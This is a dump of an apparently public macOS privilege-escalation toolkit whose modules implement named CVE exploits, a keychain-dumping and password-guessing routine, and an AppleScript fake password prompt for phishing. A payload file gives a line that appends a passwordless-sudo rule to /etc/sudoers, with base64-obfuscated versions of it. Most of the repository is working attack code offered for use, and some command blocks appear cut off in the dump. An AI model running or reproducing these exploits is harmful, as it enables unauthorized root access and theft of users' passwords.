├── .flake8 ├── keysteal.zip ├── Prompt.app.zip ├── docs ├── phishing.png └── screenshot.png ├── exploits ├── __init__.py ├── dyld_print_to_file.py ├── ardagent.py ├── nopass.py ├── proxifier.py ├── piggyback.py ├── libmalloc.py ├── sera.py ├── keysteal.py ├── phish.py └── general.py ├── .github └── ISSUE_TEMPLATE │ ├── .github │ └── workflows │ │ └── push.yml │ └── bug_report.md ├── LICENSE ├── root.py ├── apps.json ├── README.md ├── payload.md └── .gitignore /.flake8: -------------------------------------------------------------------------------- 1 | [flake8] 2 | max-line-length = 120 3 | -------------------------------------------------------------------------------- /keysteal.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thehappydinoa/rootOS/HEAD/keysteal.zip -------------------------------------------------------------------------------- /Prompt.app.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thehappydinoa/rootOS/HEAD/Prompt.app.zip -------------------------------------------------------------------------------- /docs/phishing.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thehappydinoa/rootOS/HEAD/docs/phishing.png -------------------------------------------------------------------------------- /docs/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thehappydinoa/rootOS/HEAD/docs/screenshot.png -------------------------------------------------------------------------------- /exploits/__init__.py: -------------------------------------------------------------------------------- 1 | """__init__.py""" 2 | import glob 3 | import os 4 | 5 | __all__ = [ 6 | os.path.basename(f)[:-3] 7 | for f in glob.glob(os.path.join(os.path.dirname(__file__), "*.py")) 8 | if f not in ["__init__.py", "general.py"] 9 | ] 10 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/.github/workflows/push.yml: -------------------------------------------------------------------------------- 1 | on: push 2 | name: on push 3 | jobs: 4 | gitHubActionForFlake8: 5 | name: GitHub Action for Flake8 6 | runs-on: ubuntu-latest 7 | steps: 8 | - uses: actions/checkout@master 9 | - name: GitHub Action for Flake8 10 | uses: cclauss/GitHub-Action-for-Flake8@master 11 | with: 12 | args: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 13 | -------------------------------------------------------------------------------- /exploits/dyld_print_to_file.py: -------------------------------------------------------------------------------- 1 | """dyld_print_to_file oneliner""" 2 | import os 3 | from distutils.version import LooseVersion 4 | 5 | __cve__ = "2015-3760" 6 | __credits__ = "Stefan Esser" 7 | 8 | 9 | def vulnerable(version): 10 | """checks vulnerability""" 11 | return version >= LooseVersion("10.10") and version <= LooseVersion("10.10.4") 12 | 13 | 14 | def run(): 15 | """runs exploit""" 16 | response = os.system( 17 | "echo 'echo \"ALL ALL=(ALL) NOPASSWD:ALL\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;" 18 | ) 19 | return not response == 256 20 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: bug 6 | assignees: '' 7 | --- 8 | 9 | **Describe the bug** 10 | A clear and concise description of what the bug is. 11 | 12 | **Screenshots** 13 | If applicable, add screenshots to help explain your problem. 14 | 15 | **Info (please complete the following information):** 16 | 17 | - macOS Version [e.g. 10.14.3] 18 | - Version [e.g. 1.2.0] 19 | - Exploit [e.g. exploits.phish] 20 | 21 | **Additional context** 22 | Add any other context about the problem here. 23 | -------------------------------------------------------------------------------- /exploits/ardagent.py: -------------------------------------------------------------------------------- 1 | """ARDAgent do shell script""" 2 | from distutils.version import LooseVersion 3 | 4 | from .general import DEFAULT_COMMAND, osascript, random_string 5 | 6 | __cve__ = "2008-2830" 7 | __credits__ = "anonymous" 8 | 9 | 10 | def vulnerable(version): 11 | """checks vulnerability""" 12 | return version <= LooseVersion("10.5.8") 13 | 14 | 15 | def run(): 16 | """runs exploit""" 17 | rand = random_string() 18 | payload = """osascript < | 18 | | DYLD_PRINT_TO_FILE | CVE-2015-3760 | 08/16/2015 | | 19 | | MallocLog | CVE-2015-5889 | 0/09/2015 | | 20 | | Proxifier Sanitize | CVE-2017-7643 | 04/14/2017 | | 21 | | Sera Local Pass | | 10/31/2017 | | 22 | | NoPass | CVE-2017-13872 | 11/29/2017 | | 23 | | KeySteal | CVE-2019-8526 | 06/01/2019 | | 24 | | AppleScript Dynamic Phishing | | | | 25 | | Sudo Piggyback | | | | 26 | 27 | ### Dynamic Phishing 28 | 29 | ![phishing](docs/phishing.png) 30 | 31 | Please note the dynamic icon and prompt 32 | 33 | ## Additional Exploits 34 | 35 | - [amanszpapaya/MacPer](https://github.com/amanszpapaya/MacPer) 36 | 37 | ## License 38 | 39 | [MIT](LICENSE) 40 | -------------------------------------------------------------------------------- /payload.md: -------------------------------------------------------------------------------- 1 | # Payload 2 | 3 | ## Part 1 4 | 5 | ```python 6 | if os.getuid() == 0: os.system('echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers') 7 | else: print("User is not root") 8 | ``` 9 | 10 | ## Part 1 base64 11 | 12 | ```python 13 | if os.getuid() == 0: os.system(base64.b64decode('ZWNobyAiQUxMIEFMTD0oQUxMKSBOT1BBU1NXRDogQUxMIiA+PiAvZXRjL3N1ZG9lcnM=')) 14 | else: print(base64.b64decode('VXNlciBpcyBub3Qgcm9vdA==')) 15 | ``` 16 | 17 | ## Part 2 18 | 19 | ```python 20 | import base64, os; exec(base64.b64decode('aWYgb3MuZ2V0dWlkKCkgPT0gMDogb3Muc3lzdGVtKGJhc2U2NC5iNjRkZWNvZGUoJ1pXTm9ieUFpUVV4TUlFRk1URDBvUVV4TUtTQk9UMUJCVTFOWFJEb2dRVXhNSWlBK1BpQXZaWFJqTDNOMVpHOWxjbk09JykpDQplbHNlOiBwcmludChiYXNlNjQuYjY0ZGVjb2RlKCdWWE5sY2lCcGN5QnViM1FnY205dmRBPT0nKSk=')) 21 | ``` 22 | 23 | ## Part 3 24 | 25 | ```python 26 | python -c "$(echo aW1wb3J0IGJhc2U2NCwgb3M7IGV4ZWMoYmFzZTY0LmI2NGRlY29kZSgnYVdZZ2IzTXVaMlYwZFdsa0tDa2dQVDBnTURvZ2IzTXVjM2x6ZEdWdEtHSmhjMlUyTkM1aU5qUmtaV052WkdVb0oxcFhUbTlpZVVGcFVWVjRUVWxGUmsxVVJEQnZVVlY0VFV0VFFrOVVNVUpDVlRGT1dGSkViMmRSVlhoTlNXbEJLMUJwUVhaYVdGSnFURE5PTVZwSE9XeGpiazA5SnlrcERRcGxiSE5sT2lCd2NtbHVkQ2hpWVhObE5qUXVZalkwWkdWamIyUmxLQ2RXV0U1c1kybENjR041UW5WaU0xRm5ZMjA1ZG1SQlBUMG5LU2s9Jykp | base64 -D)" 27 | ``` 28 | 29 | or 30 | 31 | ```bash 32 | python -c \"$(echo aW1wb3J0IGJhc2U2NCwgb3M7IGV4ZWMoYmFzZTY0LmI2NGRlY29kZSgnYVdZZ2IzTXVaMlYwZFdsa0tDa2dQVDBnTURvZ2IzTXVjM2x6ZEdWdEtHSmhjMlUyTkM1aU5qUmtaV052WkdVb0oxcFhUbTlpZVVGcFVWVjRUVWxGUmsxVVJEQnZVVlY0VFV0VFFrOVVNVUpDVlRGT1dGSkViMmRSVlhoTlNXbEJLMUJwUVhaYVdGSnFURE5PTVZwSE9XeGpiazA5SnlrcERRcGxiSE5sT2lCd2NtbHVkQ2hpWVhObE5qUXVZalkwWkdWamIyUmxLQ2RXV0U1c1kybENjR041UW5WaU0xRm5ZMjA1ZG1SQlBUMG5LU2s9Jykp | base64 -D)\" 33 | ``` 34 | 35 | ## Modified Part 1 36 | 37 | ```python 38 | if os.getuid() == 0: os.system('echo "ALL ALL=(ALL) NOPASSWD: ALL" >> test.log; echo echoed') 39 | else: print("User is not root") 40 | ``` 41 | 42 | ## Modified Part 2 43 | 44 | ```python 45 | import base64, os; exec(base64.b64decode('aWYgb3MuZ2V0dWlkKCkgPT0gMDogb3Muc3lzdGVtKCdlY2hvICJBTEwgQUxMPShBTEwpIE5PUEFTU1dEOiBBTEwiID4+IHRlc3QubG9nOyBlY2hvIGVjaG9lZCcpDQplbHNlOiBwcmludCgiVXNlciBpcyBub3Qgcm9vdCIp')) 46 | ``` 47 | 48 | ## Modified Part 3 49 | 50 | ```python 51 | python -c "$(echo aW1wb3J0IGJhc2U2NCwgb3M7IGV4ZWMoYmFzZTY0LmI2NGRlY29kZSgnYVdZZ2IzTXVaMlYwZFdsa0tDa2dQVDBnTURvZ2IzTXVjM2x6ZEdWdEtDZGxZMmh2SUNKQlRFd2dRVXhNUFNoQlRFd3BJRTVQVUVGVFUxZEVPaUJCVEV3aUlENCtJSFJsYzNRdWJHOW5PeUJsWTJodklHVmphRzlsWkNjcERRcGxiSE5sT2lCd2NtbHVkQ2dpVlhObGNpQnBjeUJ1YjNRZ2NtOXZkQ0lwJykp | base64 -D)" 52 | ``` 53 | 54 | or 55 | 56 | ```bash 57 | python -c \"$(echo aW1wb3J0IGJhc2U2NCwgb3M7IGV4ZWMoYmFzZTY0LmI2NGRlY29kZSgnYVdZZ2IzTXVaMlYwZFdsa0tDa2dQVDBnTURvZ2IzTXVjM2x6ZEdWdEtDZGxZMmh2SUNKQlRFd2dRVXhNUFNoQlRFd3BJRTVQVUVGVFUxZEVPaUJCVEV3aUlENCtJSFJsYzNRdWJHOW5PeUJsWTJodklHVmphRzlsWkNjcERRcGxiSE5sT2lCd2NtbHVkQ2dpVlhObGNpQnBjeUJ1YjNRZ2NtOXZkQ0lwJykp | base64 -D)\" 58 | ``` 59 | 60 | ## Delivery 61 | 62 | ```bash 63 | osascript < 31 or len(password) < 4 or not password[0]: 68 | continue 69 | 70 | passwords.append(password) 71 | 72 | return passwords 73 | 74 | 75 | def run(): 76 | """runs exploit""" 77 | keysteal_bash = "dump-keychain.sh" 78 | keysteal_zip = "keysteal.zip" 79 | 80 | if not os.path.exists(keysteal_bash) and os.path.exists(keysteal_zip): 81 | os.system("unzip " + keysteal_zip) 82 | 83 | response = osascript("sh {bin}".format(bin=keysteal_bash)) 84 | 85 | passwords = read_passwords(response) 86 | 87 | print(passwords) 88 | 89 | print("\nTrying passwords...\n") 90 | 91 | real_password = None 92 | 93 | for password in passwords: 94 | try: 95 | print(" Trying: {password}".format(password=password), end="\r") 96 | valid = try_password(password) 97 | except Exception as e: 98 | print(type(e)) 99 | print(str(e)) 100 | continue 101 | if valid: 102 | real_password = password 103 | break 104 | 105 | if not real_password: 106 | return 107 | 108 | print("\nPassword: " + real_password) 109 | 110 | rand = random_string() 111 | payload = """osascript < 60: 67 | kill_app(app_path) 68 | return 69 | if not app_running(app_path): 70 | return 71 | sleep(1) 72 | wait += 1 73 | return True 74 | payload = """osascript < /dev/null'.format(app_name=app_name)) 57 | == 256 58 | ) 59 | 60 | def app_info(app_name): 61 | """gets app info""" 62 | app_path = app_installed(app_name) 63 | try: 64 | with open(app_path + "/Contents/Info.plist", "rb") as f: 65 | return plistlib.load(f) 66 | except ExpatError: 67 | return 68 | 69 | def app_version(app_name): 70 | """checks app version""" 71 | app_path = app_installed(app_name) 72 | try: 73 | with open(app_path + "/Contents/Info.plist", "rb") as f: 74 | plist = plistlib.load(f) 75 | except ExpatError: 76 | return 77 | return LooseVersion(plist.get("CFBundleVersion")) 78 | 79 | def kill_app(app_path): 80 | """kills app""" 81 | os.system("pkill -f {app_path}".format(app_path=app_path)) 82 | 83 | def osascript(command): 84 | """runs shell for osascript""" 85 | osa = Popen([command], shell=True, stdout=PIPE, stderr=PIPE) 86 | response = osa.communicate()[0].strip() 87 | if isinstance(response, bytes): 88 | return response.decode("utf-8") 89 | return response 90 | 91 | def get_values(i_obj): 92 | """gets values recursively""" 93 | values = list() 94 | if isinstance(i_obj, list): 95 | t_values = i_obj 96 | elif isinstance(i_obj, dict): 97 | t_values = i_obj.values() 98 | for t_value in t_values: 99 | if isinstance(t_value, dict): 100 | values.extend(get_values(t_value)) 101 | elif isinstance(t_value, list): 102 | values.extend(t_value) 103 | else: 104 | values.append(str(t_value)) 105 | return values 106 | 107 | def try_password(password, user=USER): 108 | """tries user passwords""" 109 | rand = random_string() 110 | payload = """osascript <